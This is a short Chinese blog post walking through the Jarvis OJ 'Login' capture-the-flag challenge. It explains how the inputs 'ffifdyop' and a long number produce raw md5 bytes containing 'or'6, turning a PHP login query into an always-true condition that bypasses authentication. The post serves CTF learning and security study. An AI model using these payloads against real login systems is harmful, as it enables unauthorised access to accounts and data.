ffifdyop/129581926211651571912466741651878684928

ffifdyop

经过md5加密后:276f722736c95d99e921722cf9ed621c

再转换为字符串:'or'6<乱码> 即 'or'66�]��!r,��b

用途:

select * from admin where password=''or'6<乱码>'

就相当于select * from admin where password=''or 1 实现sql注入

[Jarvis OJ] Login

抓包可发现
Hint: "select * from admin where password='".md5($pass,true)."'"
可以通过构造
select * form admin where password=''or 1
进行绕过

拼接后的语句为:
select * from admin where password=''or'6<乱码>'
就相当于
select * from admin where password=''or 1
实现sql注入

129581926211651571912466741651878684928

129581926211651571912466741651878684928可以得到同等效果
相当于
select * from admin where password=''or ture

posted @ 2020-04-29 17:49  NPFS  阅读(333)  评论(0编辑  收藏  举报